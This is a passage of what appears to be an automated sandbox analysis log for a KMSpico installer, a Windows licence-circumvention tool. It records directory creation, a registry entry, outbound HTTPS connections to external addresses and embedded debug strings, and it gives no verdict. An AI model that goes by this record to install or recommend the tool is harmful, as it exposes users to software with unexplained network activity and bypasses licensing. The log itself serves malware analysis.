              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW10\is-45MEM.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW10\Core\is-3OHH4.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW10\Core\is-36Q4I.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW10\Education\is-4DJ9V.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW10\Education\is-KOVQA.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW10\Enterprise\is-HUFMA.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW10\Enterprise\is-SATLE.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW10\EnterpriseS\is-GP4HE.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW10\EnterpriseS\is-UOJUL.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW10\EnterpriseS\is-DPA70.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW10\EnterpriseS\is-PRFFU.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW10\Professional\is-46VOQ.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW10\Professional\is-K86IF.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW6\is-89RKV.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW6\Business\is-P6CCN.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW6\Business\is-JDCRQ.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW6\Business\is-SAN0E.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW6\Business\is-R1OLU.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW6\Business\is-0HJOJ.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW6\Business\is-LF0Q6.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW6\Business\is-R567D.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW6\Business\is-6GU3M.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW6\Business\is-4UDKA.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW6\Business\is-8ARNN.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW6\Business\is-6ECQ2.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW6\Business\is-EJURU.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW6\BusinessN\is-6HGKJ.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW6\BusinessN\is-456S5.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW6\BusinessN\is-3RGV5.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW6\BusinessN\is-8JI0F.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW6\BusinessN\is-4G827.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW6\BusinessN\is-4PIJ7.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW6\BusinessN\is-MPSHF.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW6\BusinessN\is-M50N0.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW6\BusinessN\is-I2PPT.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW6\BusinessN\is-P5KCL.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW6\BusinessN\is-B5IVN.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW6\BusinessN\is-GRK99.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW6\Enterprise\is-UBCCD.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW6\Enterprise\is-FT4S8.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW6\Enterprise\is-ID7CM.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW6\Enterprise\is-HR454.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW6\Enterprise\is-82CUG.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW6\Enterprise\is-0MTPN.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW6\Enterprise\is-GIIF3.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW6\Enterprise\is-8R3S6.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW6\Enterprise\is-V7L8U.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW6\Enterprise\is-Q2O0R.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW6\Enterprise\is-UO8HN.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW6\Enterprise\is-UBH4A.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW7\Embedded\is-TOHOE.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW7\Embedded\is-2O9HC.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW7\Embedded\is-GCFJ9.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW7\Embedded\is-4A1N5.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW7\Embedded\is-8R7DP.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW7\Embedded\is-6F3F1.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW7\Professional\is-H0L6I.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW7\Professional\is-0OHII.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW7\Professional\is-KEPTM.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW7\Professional\is-DFG1I.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW7\Professional\is-NU4IA.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW7\Professional\is-64GO6.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW7\Professional\is-AGHGT.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW7\Professional\is-6CGKO.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW7\Professional\is-N7SH7.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW7\Professional\is-KFHDR.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\is-V6147.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\Core\is-HMROB.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\Core\is-JP5I4.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\CoreN\is-78LT9.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\CoreN\is-3SC8C.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\CoreSingleLanguage\is-6OR02.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\CoreSingleLanguage\is-RH7NN.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\Enterprise\is-R6UK7.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\Enterprise\is-ICD23.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\EnterpriseN\is-HB93L.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\EnterpriseN\is-NS0OO.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\Professional\is-VKO4E.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\Professional\is-HJQA5.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\ProfessionalN\is-FJFUT.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\ProfessionalN\is-17Q00.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\ProfessionalWMC\is-ES93L.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\ProfessionalWMC\is-TJDD9.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW81\is-VQ6HI.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW81\Core\is-1NUC6.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW81\Core\is-H50BL.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW81\CoreConnectedSingleLanguage\is-428C7.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW81\CoreConnectedSingleLanguage\is-LBEVB.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW81\EmbeddedIndustry\is-S4GG3.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW81\EmbeddedIndustry\is-LI2Q5.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW81\Enterprise\is-F5RRO.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW81\Enterprise\is-KFKG0.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW81\Professional\is-KN0IE.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW81\Professional\is-KHPGU.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW81\ProfessionalWMC\is-VVD4K.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW81\ProfessionalWMC\is-SD9FA.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW81\ServerDatacenter\is-1K2E0.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW81\ServerDatacenter\is-NDVLN.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW81\ServerStandard\is-1TS3I.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW81\ServerStandard\is-F45D1.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\driver\is-G23HH.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\driver\is-8DGI9.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\driver\is-9599B.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\driver\is-EH2SR.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\driver\is-JT0VN.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\icons\is-MMLKB.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\icons\is-KQRQM.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\icons\is-EATMJ.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\icons\is-V6TFD.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\logs\is-22KDM.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\logs\is-N67GB.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\logs\is-28GLV.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\scripts\is-75NB9.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\scripts\is-9HSK1.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\scripts\is-CNIN3.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\scripts\is-NVJQN.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\scripts\is-3TUI3.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\scripts\is-0HM15.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\scripts\is-K2SFM.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\scripts\is-KCQ8K.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\scripts\is-0QAMK.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\scripts\is-M2EIP.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\scripts\is-002ER.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\scripts\is-JKG7E.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\sounds\is-QGGVJ.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\sounds\is-1F8AM.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\sounds\is-506TB.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\sounds\is-JCP2S.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\sounds\is-GIQ7P.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\sounds\is-G67EJ.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\sounds\is-C7MNT.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\sounds\is-N0DAM.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\sounds\is-NUOTT.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\sounds\is-O2089.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\sounds\is-STFF9.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\sounds\is-SQOIL.tmpJump to behavior
              Source: C:\Program Files\KMSpico\KMSELDI.exeDirectory created: C:\Program Files\KMSpico\logs\KMSELDI.log
              Source: C:\Program Files\KMSpico\AutoPico.exeDirectory created: C:\Program Files\KMSpico\logs\AutoPico.log
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpRegistry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyApp_is1Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpFile created: C:\Users\user\AppData\Local\Temp\Setup Log 2025-02-28 #001.txtJump to behavior
              Source: unknownHTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.5:49973 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.5:49976 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.5:49977 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.5:49980 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.5:49984 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.5:49986 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.5:49991 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.5:49992 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.5:49993 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.20.4.235:443 -> 192.168.2.5:49994 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 172.67.136.89:443 -> 192.168.2.5:49996 version: TLS 1.2
              Source: KMSpico.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
              Source: Binary string: System.Windows.Forms.ni.pdb source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: System.Drawing.ni.pdb source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: indoC:\Windows\System.pdb source: AutoPico.exe, 00000010.00000002.2868893735.0000000000CF4000.00000004.00000010.00020000.00000000.sdmp
              Source: Binary string: System.Xml.pdb d source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: mscorlib.ni.pdbRSDS7^3l source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: AutoPico.PDBN source: AutoPico.exe, 00000010.00000002.2868893735.0000000000CF4000.00000004.00000010.00020000.00000000.sdmp
              Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.pdbIO source: KMSELDI.exe, 0000000F.00000002.4016110699.000000001BD8D000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: c:\Users\dblock\Source\CodePlex\resourcelib\trunk\Source\ResourceLib\obj\Release\Vestris.ResourceLib.pdb source: KMSpico.tmp, 00000006.00000002.4002454048.00000000067EF000.00000004.00001000.00020000.00000000.sdmp, is-7EQV1.tmp.6.dr
              Source: Binary string: System.Drawing.ni.pdbRSDS source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: c:\divert-master\install\WDDK\amd64\WinDivert.pdb source: KMSpico.tmp, 00000006.00000002.4002454048.0000000006200000.00000004.00001000.00020000.00000000.sdmp, KMSpico.tmp, 00000006.00000002.4002454048.0000000006806000.00000004.00001000.00020000.00000000.sdmp, KMSELDI.exe, 0000000F.00000000.2694639189.00000000009E2000.00000002.00000001.01000000.0000000D.sdmp, AutoPico.exe, 00000010.00000000.2697776380.0000000000888000.00000002.00000001.01000000.0000000F.sdmp
              Source: Binary string: System.Xml.ni.pdbRSDS# source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: System.Core.ni.pdb source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: Microsoft.VisualBasic.pdb source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: System.ServiceProcess.pdb source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: System.Management.ni.pdbRSDSJ< source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: System.Windows.Forms.ni.pdbRSDS source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: mscorlib.ni.pdb source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: System.ServiceProcess.ni.pdb source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: System.Configuration.ni.pdbRSDScUN source: WER3E37.tmp.dmp.20.dr
